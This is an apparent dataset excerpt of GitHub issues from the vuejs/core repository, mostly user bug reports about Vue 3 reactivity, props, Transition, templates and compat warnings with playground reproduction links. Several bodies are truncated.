https://play.vuejs.org/#eNqtVltv0zAU/ivGIGWVSgoavJSWDaYNDYmLGA+bFoSy5LT15tjBl9Kp6n/n2GlTN007NM0vtX3uPt930jn9UJbx1ALt04GBouSpgfeJILgGOZsut/54xjici9Ka9Z1b05eFzIEPEzpCBZ3QTbGCEYpsyWWah7Je6BojEW3uOaDqTZrdjZW0Iu+T52evXiWUHGecZXcoy6TQkkOcw40dH7xA3/o6qnxHv7qk2n0CY0B1SUN8FDN9LqYpZzk5OiLRKOXcxYo27XaqdRIapOzWfL7TcjgcEqwARkwA+iFRfYhInxyEZmE8EjFNWHVyiu5YHTpksdiKvqfCBxJoWD42hwHbxoNb5r70rbTGSNFEhAdNyq3TuLxsk/ZzptMbDnmNnNbeGGWhaR7C6kkyvLp6KMP9OHsoyUFvTbPVftALqIhHnSlWmqUSK0qpDKnZSEZKFiSKe/WN43P0zlk6fZh5fex+arkh83XoPDXpQSe8qQhrrBLNW7c8v/tEWM67m9IFRqv3gSyTBeYDyOSGu7Cr2ylUpiHVl69bOyQZ0hKx3AkCNwowE6bjRm8a2mGqzbSlAGGw2kZq9SO3mLpXGPTqZtEuNRrLGLFxfKulwBHrnbkxVpToR30rDcMyE1qHSSjWJf9+9ncOOkvXaDOB7K7l/lbP3F1CvyvQoKYItlpmUjUGU4lPL77CDPe1EKe25ai9R/gDsAXW5VipfcQhgmkHej7bc49IJsY/9enMgNCrojz2UbN6oIQiLk/2lL5O9zB+4+0SscBX3AB224eqwfEltx1cQ+Yp+GOZgnx9c5xNUjF2uviLlblAJ/5q0859waoYy2tH4L0k3U26UskSYXUdrdLBD9fjKemnVCsl/aioxtAFcMjcc39Jc1QO4PNo/tYjrp28IQXbkvhPHhb4LwCjb8fY6ZgMybOQ+L5r+H3zmszcV5sd1RZgJjLf5nwTHO01+7C+H5hEWw5+fLbMq6crZt9bOkRq7D66WfWuRt7G4ELC/Z6CciRGrh3Gb+PXh3TxD2yg9qY=

### Steps to reproduce

1. Click the red bar, to the right or left of the disabled buttons.
2. Check the console debug output. The input should be invalid.
Optional steps:
3. Select any file for the file input
4. Repeat steps one and 2 - this time the input should be valid.


### What is expected?

The template does not show ""undefined"" as the value of the exposed method. When the... [TRUNCATED]",,2025-04-07T13:33:28Z,2025-04-07T17:46:23Z,2
vuejs/core,2971820776,Component with Teleport root node inside <Transition> cannot be animated,"### Vue version

3.5.13

### Link to minimal reproduction

https://deploy-preview-6548--vue-sfc-playground.netlify.app/#eNqdVm1v2zYQ/is3dUOSIrKdqgUSzQ22Fv2wDVuLJRgwQMBASyeLDSUKJOWXBvnvO5KSLCmOPzSIAfHuuedeeHfSY/BrXc82DQZxsPwhDJPqT5kxAaksa1lhZWDLTQFpo40s+Te2EghaSKOBVRl8vLsDo1ilueGy0rOkCsPbpEqqpU4Vrw1oNE1NEk5syoDnzpUs4Ww2dyfr+6wHPILCHJ5aiFclVUrcxFXIrSd4b1HnORMaL8jX3Dvzjg2WtWAG6QSwXDXGyAp49j4JrH1YWoIkgF9SwdOHVtqxGtVgEtzekciHupx7AkdNdPd9rlCxEsm85XPe7N/SCWAT8nxI7j1KbU2GHl0OA3Mi6BKAVwWyDNVAR9oiuvV3AV67nJNkYD0f5e9FLiRfj/khAxKM0Ett9sI+JNX8NYFfw32BkEsh5JZXa3BqunaFwBojQ1bXgmMGRgIKLKlVtOsVZ3poikONYFtgBaZArmDDNV9xwc0euCaK9Vpg5ixXe/inwdlX20zg4/hXNpCyCpBpLvZAAe99VxIX+Hof/FkCzOixWvtICtTUsi54Rzm3Gc6cWUhBowpdsz3a+siapRRTDIufk+ppABTINhhSqqdhA75WQq1rGK9QXT7nmkI8ebjF1QM3oUspl6qMQadM4PnV7OqC/IFP9oiGIqFZcLcYXAb9dNnJnoyjH6hayVpTE2aYk/sv9nTuQrAdGsMHKSlUSu7p9JDZHrunFnADbCRd+Epm+76plxnfAKSCad31Qlgy/TAcGgsZI7aK+gvVeDSew/rajYBHoX5eJjhC2m3WTXOPoZKwRph+yCxo7GBOHtq1cMLpqBJHXbaIzqE9fr+7XEpqwNMOX8CAbQMXQguYaNtVOhVPb7YlCVt08Bzfb94fseTm/MytxbOL59Dbz38M9u8olpcLdPw8PI2fu8adbsPBPmzH1Pasn9Ba+lUTQ853mLmZ/BbyKsNdDDc3N9d+SmXtFwSAwNx0z1uemSKGq8XiJ3emdbguSNsLVix9WCvZVBl1t5AqBrVesfPFJbT/s3d+DWRc21UYg7Fv5cNmaGNrlxThI21Xp0UMd1U7YT6lMVeYohCOcIPKcNoxIRN8TaQlzzLna8g0WWBthtFiUe8cScnUmpMxnd2rwwlrlmW0o2N4Y8VRh32e/as8z71KKprFULGMN5rsOgu5C3XBMruyFlYK1/Sb1iyKBruzrRAT4sXq+MGHIvI5+RRoafd32kX39s3q5jqaWNspHhq2WU5fF+Nh8Qa5kIzaQdmu6OCDrW40VTvna3pByoo2u7NJAvu5xgWqz7X7EEuC2LNZHaUpt787mf3AoReRl6cFpg9H5F/1zsqS4IuiV6fa0PdJrzOUDhqv/nT3F+7ouVdS... [TRUNCATED]",,2025-04-04T09:39:13Z,2025-04-04T13:08:41Z,1
vuejs/core,2970095324,Props stability doesn't work as per docs,"### Vue version

3.15.13

### Link to minimal reproduction

[Vue Playground - solution proposed by the docs](https://play.vuejs.org/#eNqFU9Fu2jAU/ZUrvwQ0CGqhLwyqdVMfOlVbxfZW94EmF+bi2JHtZEwo/75rOyGApu4lis+51zn35NwDuyvLtK6QzdnCZkaUDiy6qgS5VtslZ85ydsuVKEptHBzA4AYa2BhdQEJtyZF6FNY9OCxaLp10gL89+cgVV5lW1l8vMXOYw9JfNhh2uKBaS+AzV0AfEvkcrkYk4xXlHJKrBJpRz1z3zPU5M+2Z6Tkz65nZOXPTMzeRebnUS8IGvlRVxSuaISxv4eAv6KZJ67WskKpEzlXD1WIS3STv6ECjlXLtkE4Ai84ZfwCoxxttyGk/PwgVfeAskvMd/mm5lG7uUH9u4R6zd5kTNRLeW7wkQee9nzIpst2xaNDSw8hPSOFiciKXjSgCZMRGbNM3qxXlJMzNWaaLUkg030snyCjO5tERz62l1L+/BsyZCoPVoecXZrt/4G927zHOngxaNDVyduTc2mzRRfr+xzfc0/uRLHReSap+h1yh1bLyGmPZ50rlJPukLqh9CDEWavvT3u8dKtsN5YX6yhgYzijOX94ZvZc7TWehj/JALp6uw+Wykc8xaxTH9i+Own+jVVtCjhuh8Mno0g6ek64gGUHiS5IX2qCu3z+1H3mFKkfjQ9tHtSVTqbcDzlY4NqEI8zln8CHmJKzBkLb1PxHORR1eAB59BxxI+bEfmgbGAWq1EhCLCbuQSPoiuZjEO8/T1/wFt6CDzQ==)

### Steps to reproduce

Following the docs [Props stability](https://vuejs.org/guide/best-practices/performance#props-stability) doesn't solve the issue.

Check the console to see that all items are re-rendered

### What is expected?

[Vue Playground - version using v-memo](https://play.vuejs.org/#eNqFU9Fu2jAU/ZUrvwQ0CGpLXzKo1k196FRtFdsb5oEmF+aS2JHtZEwo/75rOyGAqvYFxeecezn3+vjA7ssyritkCZuZVIvSgkFblZCv5XbOmTWc3XEpilJpCwfQuIEGNloVEFFZdKSehLGPFouWiycd4LpHn7nkMlXSuPY5phYzmLtmg2GHC9IaApdcAv2RyBK4GpGNF8wTiK4iaEY9c90z1+fMTc/cnDPTnpmeM7c9cxuY1aVfMjZwUlkVL6iHML+Dg2vQTRPX67xCUomMy4bL2SRsk3ZHBxqtzNcW6QQw6zbjDgD1eKM0bdrND0KGPXAWyGSH/1oups4d6s4t3... [TRUNCATED]",,2025-04-03T16:13:45Z,2025-04-04T11:54:23Z,1
vuejs/core,2966573271,"When Transition and keep-alive are used together, the display is incorrect","### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/jimei416/Transition-demo/tree/main

### Steps to reproduce

After changing the value of show to trigger the Transition animation, if you switch components before the animation completes and then switch back to the component containing the Transition after the animation ends.
![Screenity video - Apr 2, 2025](https://github.com/user-attachments/assets/dca81659-68d4-49ab-b559-fdd27e026095)

### What is expected?

After switching back to the component containing the Transition, since show is false, the Transition component should not be displayed.

### What is actually happening?

The Transition component is still displayed even when show is false.

### System Info

```shell

```

### Any additional comments?

https://github.com/orgs/vuejs/discussions/13146","scope: transition,has workaround,:hammer: p3-minor-bug",2025-04-02T14:29:31Z,2025-08-20T12:56:09Z,2
vuejs/core,2966353523,"Loosing reactivity when using ""style"" props name in component","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fu2zAM/RVCOyQFujjIdsrcAtvQw3bYinVHXVyH8dTYkiDJbgbD/z5KtmM7c4oWvkh8j+Qj9Vyzz1qvqhLZlsU2NUI7sOhKfculKLQyDmowuIcG9kYVsCDq4gR9VYXu4qvIX3ylxadJapI6UeEknwjtlypp3Ynz4P7mCDe+3bKGxyQ9ZEaVcrcFzt6t12vOoLniMo5anaSQLg4LnScO6QYQ70QVDt1RSKDx4mgUFlKXDqr3hdphfsPZpPlqaErNoi4nVbkykGgN9TDQOR+apusQlrK1Hj+vT0VbYDODtO16sXE0moxdM2dpWXuRrZ6skvRYtSdzllIzkaP5qZ2gZXK2hYB4LMlz9fw9xJwp8bqPp38wPczEn+zRxzi7N2jRVCTqhLnEZOha+O7hBx7pfAJpl6Uf4QXwF1qVl15jS/tCKyPZI15Q+y34Rsjst707OpS2H8oL9cwm8DkjG/k9Xxp9kPth9THkcdnQFnuPnrsd8kRm9CaOygRftc7URmlLjtzhXki897e4hvCC1GxiUesMySZ9Lby5hENzu5yaeNbCIxO3x8HRfgYlUZL08MM8CnLfUioHz8ocqMnV2PAzlg9p81bvzU5GP2cNBu+qv1niW+RtXqdvTPtP4KWfqfkH9LmqSg==

### Steps to reproduce

1. Create a component with props with ""style"" attribute name
2. Mutate a nested attribute into ""style"" props

### What is expected?

the nested value mutate
`isProxy(props.style)` should be true

### What is actually happening?

the nested value doesnt mutate
`isProxy(props.style)` is false

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-02T13:11:48Z,2025-04-02T14:11:51Z,1
vuejs/core,2966349165,"Loosing reactivity when using ""style"" props name in component","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fu2zAM/RVCOyQFujjIdsrcAtvQw3bYinVHXVyH8dTYkiDJbgbD/z5KtmM7c4oWvkh8j+Qj9Vyzz1qvqhLZlsU2NUI7sOhKfculKLQyDmowuIcG9kYVsCDq4gR9VYXu4qvIX3ylxadJapI6UeEknwjtlypp3Ynz4P7mCDe+3bKGxyQ9ZEaVcrcFzt6t12vOoLniMo5anaSQLg4LnScO6QYQ70QVDt1RSKDx4mgUFlKXDqr3hdphfsPZpPlqaErNoi4nVbkykGgN9TDQOR+apusQlrK1Hj+vT0VbYDODtO16sXE0moxdM2dpWXuRrZ6skvRYtSdzllIzkaP5qZ2gZXK2hYB4LMlz9fw9xJwp8bqPp38wPczEn+zRxzi7N2jRVCTqhLnEZOha+O7hBx7pfAJpl6Uf4QXwF1qVl15jS/tCKyPZI15Q+y34Rsjst707OpS2H8oL9cwm8DkjG/k9Xxp9kPth9THkcdnQFnuPnrsd8kRm9CaOygRftc7URmlLjtzhXki897e4hvCC1GxiUesMySZ9Lby5hENzu5yaeNbCIxO3x8HRfgYlUZL08MM8CnLfUioHz8ocqMnV2PAzlg9p81bvzU5GP2cNBu+qv1niW+RtXqdvTPtP4KWfqfkH9LmqSg==

### Steps to reproduce

1. Create a component with props with ""style"" attribute name
2. Mutate a nested attribute into ""style"" props

### What is expected?

the nested value mutate
`isProxy(props.style)` should be true

### What is actually happening?

the nested value doesnt mutate
`isProxy(props.style)` is false

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-04-02T13:10:07Z,2025-04-02T13:10:34Z,0
vuejs/core,2965587338,Unhandled error during execution of scheduler flush in vue internal code.,"### Vue version

3.4.21

### Link to minimal reproduction

no external reproduced link could be provided

### Steps to reproduce

I use el-table implement embeded parents-children list, Buf after some operations, I encounter the console error as follow and I can't touch the ""expand"" button again.
`runtime-core.esm-bundler.js:47 
 [Vue warn]: Unhandled error during execution of scheduler flush. This is likely a Vue internals bug. Please open an issue at https://github.com/vuejs/core . 
  at <ElTableBody context= 
Object
 highlight=false row-class-name=undefined  ... > 
  at <ElScrollbar ref=""scrollBarRef"" view-style= 
Object
 wrap-style= 
Object
  ... > 
  at <ElTable data= 
Array(10)
 stripe=true show-overflow-tooltip=true > 
  at <ElCard class=""v-content-wrap mb-15px"" shadow=""never"" > 
  at <ContentWrap> 
  at <WLCompensationPackMt onVnodeUnmounted=fn<onVnodeUnmounted> ref=Ref< 
Proxy(Object)
 > key=""/wl/carry/receive/compensation-mt"" > 
  at <KeepAlive include= 
Array(2)
 > 
  at <RouterView key=0 > 
  at <AppView> 
  at <ElScrollbar class=""v-layout-content-scrollbar !h-[calc(100%-var(--top-tool-height)-var(--tags-view-height))] mt-[calc(var(--top-tool-height)+var(--tags-view-height))]"" > 
  at <Layout class="""" onVnodeUnmounted=fn<onVnodeUnmounted> ref=Ref< 
Proxy(Object)
 > > 
  at <RouterView class="""" > 
  at <ElConfigProvider namespace=""el"" locale= 
Object
 message= 
Object
  ... > 
  at <ConfigGlobal size=""default"" > 
  at <APP>`

`Uncaught (in promise) TypeError: Canno... [TRUNCATED]",,2025-04-02T08:24:59Z,2025-04-02T08:49:50Z,2
vuejs/core,2964307511,[BUG - @vue/compat] Incorrect deprecation warning message for `COMPILER_V_BIND_SYNC`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ah91yjjh?file=src%2FApp.vue,vite.config.js&terminal=dev

### Steps to reproduce

1. Install & set up `@vue/compat`
2. Use `:foo.sync=""bar""` in a template
3. Look at confusing deprecation warning

### What is expected?

```
[Vue warn] (deprecation COMPILER_V_BIND_SYNC) .sync modifier for v-bind has been removed.
    ↳ Use v-model with argument instead.
    ↳ `v-bind::foo.sync` should be changed to `v-model::foo`.
```


### What is actually happening?

```
[Vue warn] (deprecation COMPILER_V_BIND_SYNC) .sync modifier for v-bind has been removed.
    ↳ Use v-model with argument instead.
    ↳ `v-bind::foo.sync.sync` should be changed to `v-model::foo.sync`.
```


### System Info

```shell

```

### Any additional comments?

_No response_","scope: compiler,scope: v2 compat,🔩 p2-edge-case",2025-04-01T18:51:49Z,2025-04-02T03:12:31Z,0
vuejs/core,2963040860,"withModifiers(() => {}, ["" enter""]) Does not take effect in JSX","### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-qzas5vub?file=src%2Fmain.jsx

### Steps to reproduce

<img width=""643"" alt=""Image"" src=""https://github.com/user-attachments/assets/c0a9df82-274a-4130-882e-7a4e33d5a9db"" />

{
  ""@tsconfig/node22"": ""^22.0.1"",
  ""@types/node"": ""^22.13.15"",
  ""@vitejs/plugin-vue"": ""^5.2.3"",
  ""@vitejs/plugin-vue-jsx"": ""^4.1.2"",
  ""@vue/tsconfig"": ""^0.7.0"",
  ""npm-run-all2"": ""^7.0.2"",
  ""prettier"": ""3.5.3"",
  ""sass"": ""^1.86.1"",
  ""typescript"": ""~5.8.2"",
  ""vite"": ""^6.2.4"",
  ""vite-plugin-vue-devtools"": ""^7.7.2"",
  ""vue-tsc"": ""^2.2.8"",
  ""vue"": ""^3.5.13"",
  ""vue-router"": ""^4.5.0""
}


### What is expected?

Trigger the function when the Enter key is pressed

### What is actually happening?

Every time the button is pressed, the function will be triggered

### System Info

```shell
System:
    OS: macOS 15.3.2
    CPU: (12) x64 Intel(R) Core(TM) i7-8700B CPU @ 3.20GHz
    Memory: 24.91 GB / 64.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - ~/.node/node-v22.12.0-darwin-x64/bin/node
    Yarn: 1.22.22 - ~/.node/node-v22.12.0-darwin-x64/bin/yarn
    npm: 10.9.0 - ~/.node/node-v22.12.0-darwin-x64/bin/npm
    pnpm: 10.7.0 - ~/.node/node-v22.12.0-darwin-x64/bin/pnpm
  Browsers:
    Chrome: 134.0.6998.166
    Safari: 18.3.1
```

### Any additional comments?

_No response_",,2025-04-01T10:41:54Z,2025-04-02T03:02:11Z,1
vuejs/core,2956243422,Model ref values are not proxies,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVMlu2zAQ/ZUBL4kBQ0bg9uLKchfkkAJuA3c5CSgUeeQooUiCpFwbgv69Q9IL29pGm5tmeY9vhk/s2DulknWLbMJSU+paWTBoWwW8EKtpzqzJWZaLulFSW+hAYzWE2txrudlCD5WWDVwR/upNLnJhtwphvv1e8BZhCl0ugBCFMfVK4HI2gQcpORaCmgGa1hb2j2zvaUopjIVmu8CKWOjIdMeZXXf94LeWuVwip6YlVrVAH0XN7hiqFC23E7gewDQDx0DnBJaqFaWtpTiIpBOpzeP88cl6P0o0xwSspqTT2p9k8TKOPD78P6awm9Nqkt3iiMuhz2DPaziDT0fh/um2KbDYKE5dFAGkjzeZu/EazSwdUeCTKrsz7nIgTFaAcqaYQdftDXLtVQ+g79ORikCNv7RLMC/3CNyLcIbwsEiFxoygwSy+nxJHRPDHOUyo/o36ppY0ezxq+tBaS8t1DqffIkQ5g7clr8tnykQOoj9msYu8eUehO4uW8M90XmFM6Hf3IsqDp4hu7r9frC6y2JHslLJ0FBmJDek5oR+3qlfJk5GC3hzvzpyVslE1R/1ZOQfTkzMJvnW1gnP586PPObsO9/nyEcvnE/kns3G5nN1rNKjXmLNDzRZ6hTaUb798wg19H4qkv+XUfaG4QCN56zSGtvetWJLsqM+rvfOvZS1WX83txqIw+6GcUNfZ+/6c0cP54cLoR7nj5JXH0b9KW/yxRu04aYHj5HVyM2b9L6vH/RY=

### Steps to reproduce

When accessing the reproduction link, you'll notice it says `Is model value a proxy? false`. Because of that, if you click the `Mutate model` button, it won't trigger a re-render.

### What is expected?

Model values should be wrapped with a proxy, so they are reactive, just as any other ref.

### What is actually happening?

Model value is not a proxy, and thus, the reactivity system doesn't detect mutations made to that object.

### System Info

```shell
Google Chrome	134.0.6998.166 (Official Build) (arm64) 
Revision	0b26d3a1ee1e44572492002c2e52ffcd13ac701b-refs/branch-heads/6998@{#2123}
OS	macOS Version 15.3.2 (Build 24D81)
Java... [TRUNCATED]",,2025-03-28T13:51:48Z,2025-03-29T19:14:19Z,2
vuejs/core,2955396742,Why is there no expose property on the component instance?,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul9LwzAQ/yolL91gtIzpyygDlT0oosP5ZkRKe+uytUlIrrUy9t29pLQbOPdSevf7w+8ud2B3WkdNDWzOEpsZoTGwgLVecCkqrQwGD6rSwcaoKgij2BWOHnKZKWlVCVGpipFrj7lM4s6CxFQgVLpMEagKgmQ7XTwrtSc7L0tiajjFGYtNGFqy3Ygi2lklKdPBaTnLyF+UYF41CtJzNg884rC0LNX3k++hqWHS97MtZPsL/Z1tXY+zlQELpgHOBgxTUwB28HL9Ai39D2Cl8rok9hXwDWi22mXsaPe1zCn2Gc+nffSbFbJ4t8sWQdp+KBfUMY+ezxlt2q32v9FPcWfRjddxeaQt9q904VFz2AgJK6O0HXkfmVYwWOKPpmKNhrL1fvSunWhZCbSjjzDbprKA8PMEtFpZ6OwQLI7Gvd/5jYQOCkk02F47l1w0iyR2379H8tWAcSuj8WbRbTSdseMvmnvuRQ==

### Steps to reproduce

![Image](https://github.com/user-attachments/assets/002696c6-729a-4f40-bf7f-04743f4582d9)

### What is expected?

includes `expose` 

### What is actually happening?

When inspecting a Vue component instance via console.log, I found that its prototype contains properties like emits, props, render, and setup, but there is no expose.

Why is that? If expose were also available on the component instance, it would make it much easier to re-expose the internals of a wrapped component when creating higher-order components.

Was this an intentional design choice?

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-28T08:33:58Z,2025-03-28T08:48:34Z,1
vuejs/core,2953908075,Standard web components written in vanilla JS don't seems to be supported by vue triggering `Uncaught DOMException: Operation is not supported ... createElement`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-pbrkv3zs?file=src%2Fcomponents%2FHelloWorld.vue

### Steps to reproduce

In the reproduction link open the terminal to see the error `Uncaught DOMException: Operation is not supported ... createElement`

Otherwise locally: 

1. Create a project with https://vuejs.org/guide/quick-start `npm create vue@latest`
2. Install my web component with `npm i --save @sib-swiss/sparql-editor`
3. Import it and use it in the welcome page

```vue
<script setup lang=""ts"">
import '@sib-swiss/sparql-editor'
</script>

<template>
  <sparql-editor endpoint=""https://www.bgee.org/sparql/""></sparql-editor>
  ....
</template>
```

Start in dev with `npm run dev`

### What is expected?

An editor for SPARQL queries should be displayed using this web component.

### What is actually happening?

Nothing displayed

Get warning:

```
[Vue warn]: Failed to resolve component: sparql-editor
If this is a native custom element, make sure to exclude it from component resolution via compilerOptions.isCustomElement. 
  at <TheWelcome > 
  at <HomeView onVnodeUnmounted=fn<onVnodeUnmounted> ref=Ref< undefined > > 
  at <RouterView > 
  at <App>
```

And error:

```
Uncaught DOMException: Operation is not supported
    createElement runtime-dom.esm-bundler.js:37
    mountElement runtime-core.esm-bundler.js:4846
```

Following the first link brings to the `const el` here:

```js
createElement: (tag, namespace, is, props... [TRUNCATED]",,2025-03-27T17:33:58Z,2025-03-28T00:50:47Z,1
vuejs/core,2953071758,Question about Specifying Prop Types in Vue 3 with defineProps in JavaScript,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1v2zAM/SuCL82wVEaX9eKlxbauhw37KNbe5mFwLCZRI0uCRCctgvz3UXL9sdYtdjEs8j2RfCK5Tz5Yy7c1JFky96WTFpkHrO15rmVljUN2Y4T5Kj2ypTMVyxOetpbAy5N3HXLPjP5mao0gpg6KEuUW2KHlteBcK0CGnp0xDTv2qUCYvOIrwBtZ0V9ElEZTQI/kI1h712TP8CF0xn7lmlFEKTK6axodGUVZyA2FmbLSVJbiALmXhfKUx3RIYK/ZSU/aFWrziISuHuG86TllsRwN9IQz6zlRgrHccv370FTeKTiZvGJn52wfbmvkWBiDHl1hL66vSRVhyroCjbwkfRAuFYTT5EhJvTkKl7F/GNyBItaRx3sFfg2AR08xawfLAFojWp+laSk0v/UClNw6rgFTbau0Y7w/5TM+SwW9R1p63zt4JTUnSxOhS3QNheCFtaDFxVoqMRnGDhlHDeZp04fUgXRAIK2oPDoxNhdyS8Ke5QndkiesVIX3dCJ9sJAaXJ5E3AOycxdOsPA5XhhxzxarYyVXa+zAj+AoUdE7nWdZ7H0Vep+mZE6Fbtvrh//joQQsi1phG9cJcKS7fy5ol94AQJB21HoTY1k7BESLI8JbQ570uLSPM5p4+zdPBxLnOpkm6EnPpVzRyxtNeyG2YBC5slKB+2FRUj/mSdY0Z/AVSpndl2gLgxNHIHLWUG5G7Lf+Ltjy5MqBB7cNY9H6sHC0DBr35fV3uKP/zlkZUYfHecH5E7xRdcixgX2staC0B7iY7ee4s6Re3fjLOwTt26JCogHZDHIc2osXSu/TnfG3kUd9TCoOl+TIcm1G2jpjwyKkZqH2vQqnwZJjT+dhdCLaHnJm98wAGDVoq/2+DXCgXP+jK6iaP1twQSGqZMZP+cksOfwFedAP9g==

### Steps to reproduce

In the parent component, I binded the state.todoList data to the child component <TodoList> via props.
In TodoList.vue, I used the defineProps function to define the props without specifying a type.
But running the project, a reference error occurs.

### What is expected?

The todoList data, which is a prop, should be displayed through {{todoList}} in the <template> section.

### What is actually happening?

![Image](https://github.com/user-attachments/assets/dbcbebc8-69... [TRUNCATED]",,2025-03-27T13:50:58Z,2025-03-27T23:58:03Z,1
vuejs/core,2952929981,useTemplateRef ref name needs to be different than var name,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-mrkdbqgv?file=lib%2Fsrc%2FMyModal.vue

### Steps to reproduce

`const dialogElement = useTemplateRef('dialogElement');` is the interesting part.
in the minimal repro:
* cd into `lib`, install deps and run `npm run build`
* cd into `app`, install deps and run `npm run dev`
* refresh the preview and watch the browser console

### What is expected?

no warning

### What is actually happening?

` [Vue warn] Set operation on key ""value"" failed: target is readonly. 
ShallowRef<null>`

### System Info

```shell
stackblitz

 System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

this doesnt happen unless the component is in a production bundle.
my guess without knowing any of this is that both the old logic and the new useTemplateRef logic run.

(internal issue TKUA-8682)",,2025-03-27T13:07:33Z,2025-03-27T13:13:19Z,2
vuejs/core,2943135104,type union on props casts empty string to true,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUk2P0zAQ/SuDL1mk3XQRnEJbCVAl4AArQOLiS5pME+86tmU73aKQ/87YSdqEj5U42TPvefxm5nXsjTHpsUWWsbUrrDAeHPrWbLkSjdHWwzvdGDhY3UCSrkIQ6MkZ7sDiAfqRMUBcFVo5D42rYBPwq+Q9Sqnhu7ayfJY8v1DQWm0nUgDWq0EGCaDAY2Nk7pEigHWUksUnG87iyRlkFo9oHZa7JbDaAoR6sxrsmnlHHx9Eld47rajrLlTmrKDSQqL9bLwgYZxlEJGA5ST98WPMedvi9ZQvaiwe/pK/d6eQ4+zOokN7RM7OmM9thX6Ad18/4YnuZ7DRZSuJ/QT4BZ2WbdA40N62qiTZM15U+yEuR6jqm9udPCo3NRWEBmYf+ZzRwsJU/9X6Re7L9FV8x1VPU5x88LttQOaqohV4KnOxUAclHoTCO6uNW3jl9cUJJoKbOXUddcR1ZrDXWmKu4Cc4b6mzAC02n40AMUYuad1eRbM95apSHKGQuXOke587mj9kU9xBUtTUEpZJNnq1J3z1ny8XOs8VFtak0PkfcrimodqwhRpFVfsMXtzemhONC+BRlL6eJxpaklAZ5K3Xs8SN1ybQBtY+Lx4qq8kuN4WWYVqVRVQE0Urpx1Hs8OmfZIvlQKVJRpms/wUafHFB

### Steps to reproduce

When doing a `boolean | string` prop an empty string (which is nullish) is cast to a `true` value. If the union is reversed this does not happen.


### What is expected?

Empty strings should not be cast at all to a `type: boolean`. 

### What is actually happening?

Empty strings are cast to a `type: true` when the boolean is the first item in the union

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-24T12:41:10Z,2025-03-24T12:47:47Z,2
vuejs/core,2941684004,响应式props解构只支持直接解构，分步解构则失效,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUsGOmzAQ/RXLl81qN6BtUqlKAWW3yqE9bKO2R0sVgSFhF2zLHpJIEf/eMS6UpG20ByT7vTczb5458Uetg30DfMEjm5lSI7OAjU6ELGutDLITM1CwlhVG1eyGpDcD9VSp7VpZ/M0FYQ+4jiRjTMhMSRKkW2CxazR5+HA7Ah/zPJ7csjhhJycnJNinVQN3d0K2QgoZhd4V+aELQq2rFMHdMNo0iEqyZVaV2WssuO8neEKHKPSsV/a+3EXggngvF9whSTQY7+T+i8JhGr/n482uZXVIMdutigIyPMvsY7+0NkrbOIeilLB250m/+YI9N/UGDG0+RHQivKXkuiohR90nk9s46UqdUlUQkMMJyanW1f83OMai3Tw5dZ3bKKTz5a5oqWVRboMXqyQt200RPFO1LiswXzWWNFLwhX80x6VVpQ5fOgxNA/c9nu0ge/0H/mKPDhN8bcCC2dNLDBymZgvo6dX3ZzjSeSBrlTcVqa+Q34DiaJxHL3tqZE62R7rO7efuyUq5/WFXRwRp+6WcUadsO73g9Hyfrqz+x+4smHd19ACUov8lpnWqL3L0xHkTmuHN7hC1XYRhlksqy6Eq9yaQgKHUdbgkWWgaiWUN01zVS5oYvJuHeWlxjAdg6+nGqANFS11Gm7sGXd5makDmYFwub5t7UXY2+4L7a/4olp8kdFFTHrPgffAw4+0vGEaL+w==

### Steps to reproduce

点击age按钮改变props，观察控制台的监听器信息是否打印，以及视图是否响应更新会发现响应式依然丢失



### What is expected?

应该在点击按钮之后，视图会更新，监听器也会执行

### What is actually happening?

点击之后，视图和监听器均无响应，解构props丢失了响应式

我觉得
const props=defineProps({
  age: Number
})
const {age} = props
和官方推荐写法
const {age} =defineProps({
  age: Number
})
两者应当有一致的表现，结果并非如此

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-24T00:45:40Z,2025-03-24T01:15:34Z,2
vuejs/core,2940286120,Readonly reference to an array is not honored when inside v-for,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kdFPwjAQxv+VS1+ABIcEfcFBooYHfVCjvlljlu0Gxa1t2m6OLPvfvXYBITG89e779bvv2pbdah3VFbI5i21qhHZg0VV6yaUotTIOWjCYZEoWO+ggN6qEAfGDmxMgP9G45DJV0jpIld7B4uAwJHL40UIzhyl0n6MRuXAZT/rJNJMKh6UuEodUAcSZqKG+yJVZcFaCkMGRs2XbQhk1ZH0JXRdPCOv5zdRLYazvU+n9jzzZmDlL4XKxjrZWSVq89Tc5S1WpRYHmWTtB4TmbQ1C8lhSF+nkMPWcqHO/76QbT73/6W9v4HmcvBi2aGjk7aC4xa3S9vHp7wobOB7FUWVUQfUZ8RauKymfssbtKZhT7iAtpH8LvCLl+t6vGobT7pXxQT3aB54x+7P7M6n9xZ9FVuMdlR6/4VaPxnvSAs+g6ms5Y9wtIl8Jq

### Steps to reproduce

Create a readonly reference to a reference of an array of objects.

```
const copy = readonly(ref([{ x: 1 }]));
```

